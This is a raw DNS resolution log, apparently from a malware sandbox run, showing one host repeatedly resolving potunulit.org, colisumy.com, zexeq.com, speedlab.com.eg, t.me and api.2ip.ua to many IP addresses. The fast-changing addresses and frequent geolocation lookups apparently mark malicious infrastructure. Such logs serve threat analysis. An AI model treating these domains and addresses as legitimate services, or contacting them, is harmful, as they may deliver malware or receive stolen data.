May 28, 2023 10:42:55.709743023 CEST	8.8.8.8	192.168.2.3	0x53d3	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:56.460953951 CEST	8.8.8.8	192.168.2.3	0xea1d	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.082051992 CEST	8.8.8.8	192.168.2.3	0x1bec	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.233885050 CEST	8.8.8.8	192.168.2.3	0x510a	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.233885050 CEST	8.8.8.8	192.168.2.3	0x510a	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.691430092 CEST	8.8.8.8	192.168.2.3	0xe283	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.691430092 CEST	8.8.8.8	192.168.2.3	0xe283	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.691430092 CEST	8.8.8.8	192.168.2.3	0xe283	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.691430092 CEST	8.8.8.8	192.168.2.3	0xe283	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.691430092 CEST	8.8.8.8	192.168.2.3	0xe283	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.691430092 CEST	8.8.8.8	192.168.2.3	0xe283	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.691430092 CEST	8.8.8.8	192.168.2.3	0xe283	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.691430092 CEST	8.8.8.8	192.168.2.3	0xe283	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.691430092 CEST	8.8.8.8	192.168.2.3	0xe283	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:58.691430092 CEST	8.8.8.8	192.168.2.3	0xe283	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:42:59.602802038 CEST	8.8.8.8	192.168.2.3	0x96de	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:00.069217920 CEST	8.8.8.8	192.168.2.3	0xe540	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:00.545985937 CEST	8.8.8.8	192.168.2.3	0x54a7	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:01.159085035 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:01.159085035 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:01.159085035 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:01.159085035 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:01.159085035 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:01.159085035 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:01.159085035 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:01.159085035 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:01.159085035 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:01.159085035 CEST	8.8.8.8	192.168.2.3	0x113f	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:02.224514008 CEST	8.8.8.8	192.168.2.3	0xd66d	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:02.224514008 CEST	8.8.8.8	192.168.2.3	0xd66d	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:02.961893082 CEST	8.8.8.8	192.168.2.3	0x92d5	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.462907076 CEST	8.8.8.8	192.168.2.3	0x101b	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.689167976 CEST	8.8.8.8	192.168.2.3	0xe0	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.689167976 CEST	8.8.8.8	192.168.2.3	0xe0	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.689167976 CEST	8.8.8.8	192.168.2.3	0xe0	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.689167976 CEST	8.8.8.8	192.168.2.3	0xe0	No error (0)	zexeq.com		5.163.228.78	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.689167976 CEST	8.8.8.8	192.168.2.3	0xe0	No error (0)	zexeq.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.689167976 CEST	8.8.8.8	192.168.2.3	0xe0	No error (0)	zexeq.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.689167976 CEST	8.8.8.8	192.168.2.3	0xe0	No error (0)	zexeq.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.689167976 CEST	8.8.8.8	192.168.2.3	0xe0	No error (0)	zexeq.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.689167976 CEST	8.8.8.8	192.168.2.3	0xe0	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.689167976 CEST	8.8.8.8	192.168.2.3	0xe0	No error (0)	zexeq.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.832632065 CEST	8.8.8.8	192.168.2.3	0x8f41	No error (0)	speedlab.com.eg		217.174.148.28	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:03.839757919 CEST	8.8.8.8	192.168.2.3	0xb3c7	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:04.308897972 CEST	8.8.8.8	192.168.2.3	0x1e46	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:04.599715948 CEST	8.8.8.8	192.168.2.3	0x85fb	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:04.599715948 CEST	8.8.8.8	192.168.2.3	0x85fb	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:06.382241964 CEST	8.8.8.8	192.168.2.3	0x31d6	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.126195908 CEST	8.8.8.8	192.168.2.3	0x3334	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.126195908 CEST	8.8.8.8	192.168.2.3	0x3334	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.356868029 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.356868029 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.356868029 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.356868029 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.356868029 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.356868029 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.356868029 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.356868029 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.356868029 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.356868029 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.364994049 CEST	8.8.8.8	192.168.2.3	0x2e88	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.617041111 CEST	8.8.8.8	192.168.2.3	0x46df	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.797144890 CEST	8.8.8.8	192.168.2.3	0xa3e4	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.797144890 CEST	8.8.8.8	192.168.2.3	0xa3e4	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.797144890 CEST	8.8.8.8	192.168.2.3	0xa3e4	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.797144890 CEST	8.8.8.8	192.168.2.3	0xa3e4	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.797144890 CEST	8.8.8.8	192.168.2.3	0xa3e4	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.797144890 CEST	8.8.8.8	192.168.2.3	0xa3e4	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.797144890 CEST	8.8.8.8	192.168.2.3	0xa3e4	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.797144890 CEST	8.8.8.8	192.168.2.3	0xa3e4	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.797144890 CEST	8.8.8.8	192.168.2.3	0xa3e4	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.797144890 CEST	8.8.8.8	192.168.2.3	0xa3e4	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.876914978 CEST	8.8.8.8	192.168.2.3	0x608b	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.876914978 CEST	8.8.8.8	192.168.2.3	0x608b	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.876914978 CEST	8.8.8.8	192.168.2.3	0x608b	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.876914978 CEST	8.8.8.8	192.168.2.3	0x608b	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.876914978 CEST	8.8.8.8	192.168.2.3	0x608b	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.876914978 CEST	8.8.8.8	192.168.2.3	0x608b	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.876914978 CEST	8.8.8.8	192.168.2.3	0x608b	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.876914978 CEST	8.8.8.8	192.168.2.3	0x608b	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.876914978 CEST	8.8.8.8	192.168.2.3	0x608b	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.876914978 CEST	8.8.8.8	192.168.2.3	0x608b	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.879879951 CEST	8.8.8.8	192.168.2.3	0xda79	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.879879951 CEST	8.8.8.8	192.168.2.3	0xda79	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.879879951 CEST	8.8.8.8	192.168.2.3	0xda79	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.879879951 CEST	8.8.8.8	192.168.2.3	0xda79	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.879879951 CEST	8.8.8.8	192.168.2.3	0xda79	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.879879951 CEST	8.8.8.8	192.168.2.3	0xda79	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.879879951 CEST	8.8.8.8	192.168.2.3	0xda79	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.879879951 CEST	8.8.8.8	192.168.2.3	0xda79	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.879879951 CEST	8.8.8.8	192.168.2.3	0xda79	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:08.879879951 CEST	8.8.8.8	192.168.2.3	0xda79	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.484451056 CEST	8.8.8.8	192.168.2.3	0x8697	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.736618042 CEST	8.8.8.8	192.168.2.3	0x3a74	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.736618042 CEST	8.8.8.8	192.168.2.3	0x3a74	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.736618042 CEST	8.8.8.8	192.168.2.3	0x3a74	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.736618042 CEST	8.8.8.8	192.168.2.3	0x3a74	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.736618042 CEST	8.8.8.8	192.168.2.3	0x3a74	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.736618042 CEST	8.8.8.8	192.168.2.3	0x3a74	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.736618042 CEST	8.8.8.8	192.168.2.3	0x3a74	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.736618042 CEST	8.8.8.8	192.168.2.3	0x3a74	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.736618042 CEST	8.8.8.8	192.168.2.3	0x3a74	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:09.736618042 CEST	8.8.8.8	192.168.2.3	0x3a74	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.580411911 CEST	8.8.8.8	192.168.2.3	0x1df7	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.580411911 CEST	8.8.8.8	192.168.2.3	0x1df7	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.580411911 CEST	8.8.8.8	192.168.2.3	0x1df7	No error (0)	zexeq.com		5.163.228.78	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.580411911 CEST	8.8.8.8	192.168.2.3	0x1df7	No error (0)	zexeq.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.580411911 CEST	8.8.8.8	192.168.2.3	0x1df7	No error (0)	zexeq.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.580411911 CEST	8.8.8.8	192.168.2.3	0x1df7	No error (0)	zexeq.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.580411911 CEST	8.8.8.8	192.168.2.3	0x1df7	No error (0)	zexeq.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.580411911 CEST	8.8.8.8	192.168.2.3	0x1df7	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.580411911 CEST	8.8.8.8	192.168.2.3	0x1df7	No error (0)	zexeq.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:10.580411911 CEST	8.8.8.8	192.168.2.3	0x1df7	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.301954031 CEST	8.8.8.8	192.168.2.3	0x7c33	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.301954031 CEST	8.8.8.8	192.168.2.3	0x7c33	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.301954031 CEST	8.8.8.8	192.168.2.3	0x7c33	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.301954031 CEST	8.8.8.8	192.168.2.3	0x7c33	No error (0)	zexeq.com		5.163.228.78	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.301954031 CEST	8.8.8.8	192.168.2.3	0x7c33	No error (0)	zexeq.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.301954031 CEST	8.8.8.8	192.168.2.3	0x7c33	No error (0)	zexeq.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.301954031 CEST	8.8.8.8	192.168.2.3	0x7c33	No error (0)	zexeq.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.301954031 CEST	8.8.8.8	192.168.2.3	0x7c33	No error (0)	zexeq.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.301954031 CEST	8.8.8.8	192.168.2.3	0x7c33	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:11.301954031 CEST	8.8.8.8	192.168.2.3	0x7c33	No error (0)	zexeq.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.095798016 CEST	8.8.8.8	192.168.2.3	0xac40	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.095798016 CEST	8.8.8.8	192.168.2.3	0xac40	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.095798016 CEST	8.8.8.8	192.168.2.3	0xac40	No error (0)	zexeq.com		5.163.228.78	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.095798016 CEST	8.8.8.8	192.168.2.3	0xac40	No error (0)	zexeq.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.095798016 CEST	8.8.8.8	192.168.2.3	0xac40	No error (0)	zexeq.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.095798016 CEST	8.8.8.8	192.168.2.3	0xac40	No error (0)	zexeq.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.095798016 CEST	8.8.8.8	192.168.2.3	0xac40	No error (0)	zexeq.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.095798016 CEST	8.8.8.8	192.168.2.3	0xac40	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.095798016 CEST	8.8.8.8	192.168.2.3	0xac40	No error (0)	zexeq.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.095798016 CEST	8.8.8.8	192.168.2.3	0xac40	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.700383902 CEST	8.8.8.8	192.168.2.3	0xe9c	No error (0)	zexeq.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.700383902 CEST	8.8.8.8	192.168.2.3	0xe9c	No error (0)	zexeq.com		2.180.10.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.700383902 CEST	8.8.8.8	192.168.2.3	0xe9c	No error (0)	zexeq.com		5.163.228.78	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.700383902 CEST	8.8.8.8	192.168.2.3	0xe9c	No error (0)	zexeq.com		175.120.254.9	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.700383902 CEST	8.8.8.8	192.168.2.3	0xe9c	No error (0)	zexeq.com		109.98.58.98	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.700383902 CEST	8.8.8.8	192.168.2.3	0xe9c	No error (0)	zexeq.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.700383902 CEST	8.8.8.8	192.168.2.3	0xe9c	No error (0)	zexeq.com		222.236.49.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.700383902 CEST	8.8.8.8	192.168.2.3	0xe9c	No error (0)	zexeq.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.700383902 CEST	8.8.8.8	192.168.2.3	0xe9c	No error (0)	zexeq.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:12.700383902 CEST	8.8.8.8	192.168.2.3	0xe9c	No error (0)	zexeq.com		211.59.14.90	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:14.518148899 CEST	8.8.8.8	192.168.2.3	0xe7f0	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:14.518148899 CEST	8.8.8.8	192.168.2.3	0xe7f0	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:14.872251987 CEST	8.8.8.8	192.168.2.3	0x9473	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:15.519408941 CEST	8.8.8.8	192.168.2.3	0x6efc	No error (0)	speedlab.com.eg		217.174.148.28	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:15.636708021 CEST	8.8.8.8	192.168.2.3	0xfbca	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.004530907 CEST	8.8.8.8	192.168.2.3	0x5091	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.510293007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.510293007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.510293007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.510293007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.510293007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.510293007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.510293007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.510293007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.510293007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.510293007 CEST	8.8.8.8	192.168.2.3	0xd095	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:16.671541929 CEST	8.8.8.8	192.168.2.3	0xca04	No error (0)	api.2ip.ua		162.0.217.254	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.017462015 CEST	8.8.8.8	192.168.2.3	0x450d	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.017462015 CEST	8.8.8.8	192.168.2.3	0x450d	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.017462015 CEST	8.8.8.8	192.168.2.3	0x450d	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.017462015 CEST	8.8.8.8	192.168.2.3	0x450d	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.017462015 CEST	8.8.8.8	192.168.2.3	0x450d	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.017462015 CEST	8.8.8.8	192.168.2.3	0x450d	No error (0)	colisumy.com		211.40.39.251	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.017462015 CEST	8.8.8.8	192.168.2.3	0x450d	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.017462015 CEST	8.8.8.8	192.168.2.3	0x450d	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.017462015 CEST	8.8.8.8	192.168.2.3	0x450d	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:17.017462015 CEST	8.8.8.8	192.168.2.3	0x450d	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.501964092 CEST	8.8.8.8	192.168.2.3	0x1f9b	No error (0)	potunulit.org		188.114.97.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.501964092 CEST	8.8.8.8	192.168.2.3	0x1f9b	No error (0)	potunulit.org		188.114.96.7	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.790283918 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	colisumy.com		123.140.161.243	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.790283918 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	colisumy.com		187.245.185.123	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.790283918 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	colisumy.com		211.119.84.111	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.790283918 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	colisumy.com		183.100.39.157	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.790283918 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	colisumy.com		211.119.84.112	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.790283918 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	colisumy.com		211.171.233.129	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.790283918 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	colisumy.com		37.34.248.24	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.790283918 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	colisumy.com		201.124.33.177	A (IP address)	IN (0x0001)	false
May 28, 2023 10:43:18.790283918 CEST	8.8.8.8	192.168.2.3	0x2085	No error (0)	colisumy.com		175.119.10.231	A (IP address)	IN (0x0001)	false
